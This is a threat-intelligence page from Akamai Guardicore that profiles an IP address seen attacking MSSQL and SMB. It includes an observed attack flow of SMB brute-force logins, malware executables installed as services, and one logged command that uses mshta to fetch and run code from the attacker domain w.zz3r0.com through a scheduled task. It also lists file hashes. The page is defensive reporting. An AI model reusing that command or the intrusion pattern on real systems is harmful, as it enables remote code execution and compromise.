Cyber Threat Intelligence

Discover malicious IPs and domains with Akamai Guardicore Segmentation

IP Address: 14.241.232.175Malicious

IP Address: 14.241.232.175Malicious

This IP address attempted an attack on a machine in our threat sensors network

Threat Information

Role

Attacker, Scanner

Services Targeted

MSSQL SMB

Tags

Service Creation Scheduled Task Creation Download and Execute SMB Null Session Login Download File SMB Brute Force Service Start File Operation By CMD Successful SMB Login DNS Query Access Share SMB CMD SMB Share Connect Service Deletion Execute from Share Service Stop Access Suspicious Domain

Associated Attack Servers

t.amynx.com w.zz3r0.com

Basic Information

IP Address

14.241.232.175

Domain

-

ISP

Vietnam Posts And Telecommunications Group

Country

Viet Nam

WHOIS

Created Date

-

Updated Date

-

Organization

-

First seen in Akamai Guardicore Segmentation

2021-02-24

Last seen in Akamai Guardicore Segmentation

2024-05-23

What is Akamai Guardicore Segmentation
Akamai Guardicore Segmentation is a data center and cloud security solution that protects the organization's core assets, using flexible, quickly deployed and easy to understand micro-segmentation controls. Akamai Guardicore Segmentation generates in-context security incidents, with details on attacker tools and techniques, that help IR teams prioritize incident investigation and reduce dwell time. Learn More

Attack Flow

A user logged in using SMB with the following username: hp - Authentication policy: Reached Max Attempts (Part of a Brute Force Attempt)

Successful SMB Login SMB Brute Force

C:\fOsggxjb.exe was downloaded

Download File

fosggxjb.exe was executed from the remote share \\server-backup\c$

Execute from Share

c:\windows\system32\services.exe installed and started \\server-backup\c$\fosggxjb.exe as a service named tdRc under service group None

Service Start Service Creation

A user logged in using SMB with the following username: Administrator - Authentication policy: Reached Max Attempts (Part of a Brute Force Attempt)

Successful SMB Login SMB Brute Force

C:\qJydYBme.exe was downloaded

Download File

qjydybme.exe was executed from the remote share \\server-backup\c$

Execute from Share

c:\windows\system32\services.exe installed and started \\server-backup\c$\qjydybme.exe as a service named wdYb under service group None

Service Start Service Creation

A user logged in using SMB with the following username: Administrator - Authentication policy: Previously Approved User (Part of a Brute Force Attempt) 3 times

Successful SMB Login SMB Brute Force

Service wdYb was stopped

Service Stop

A user logged in using SMB from NULL with the following username: Administrator - Authentication policy: Previously Approved User (Part of a Brute Force Attempt)

Successful SMB Login SMB Brute Force

The command line C:\WINDOWS\system32\cmd.exe /c mshta http://w.zz3r0.com/page.html?pSERVER-BACKUP was scheduled to run by modifying C:\WINDOWS\Tasks\Autocheck.job

Process c:\windows\system32\mshta.exe attempted to access suspicious domains: w.zz3r0.com

Access Suspicious Domain DNS Query

The command line c:\windows\ZyRgXRz.exe was scheduled to run by modifying C:\WINDOWS\Tasks\Autostart.job

C:\CEIgvoom.exe was downloaded

Download File

The file C:\WINDOWS\SbqLon.exe was downloaded and executed 2 times

Download and Execute

The command line c:\windows\SbqLon.exe was scheduled to run by modifying C:\WINDOWS\Tasks\escan.job

ceigvoom.exe was executed from the remote share \\server-backup\c$

Execute from Share

c:\windows\system32\services.exe installed and started \\server-backup\c$\ceigvoom.exe as a service named fPej under service group None

Service Start Service Creation

C:\WINDOWS\Temp\tmp.vbs was downloaded

Download File

Service fPej was stopped

Service Stop

Connection was closed due to timeout

Associated Files

C:\WINDOWS\Temp\svchost.exe

SHA256: 03e6357273d1ec9a26239ee958f195f08650ea3e1198bf3cf33ee1d18e80cd4c

130000 bytes

C:\windows\temp\svchost.exe

SHA256: 04ff0231d6090beee3ed822d8c9be1c6cdda4ae85165335f048804d69563c0e8

1040000 bytes

C:\WINDOWS\Temp\svchost.exe

SHA256: 0a29b7180274ef0b2df3001163e8c4e6f081e822843a0d70602f04f3fc8080bc

260000 bytes

C:\Windows\temp\svchost.exe

SHA256: 121ed3147ae9a56d8883b765bf4a1cda0535b9b534ef5e7c39f17cfe08187dd1

1625000 bytes

C:\WINDOWS\Temp\svchost.exe

SHA256: 1dfeb652ea00e0b0be019714f256f54c1f82142c5107f186a90f313ab5635e8a

520000 bytes

C:\windows\temp\svchost.exe

SHA256: 33a156e65b99ce9db3b182dabd35e1341477d48289ef40ee3b0f1fa0035e31cb

845000 bytes

C:\cCVRtKDh.exe

SHA256: 382c01c8012e8c8dfc9a7bfd965aae66d8a9741c42593afa53ff2a93d7c1b91b

56320 bytes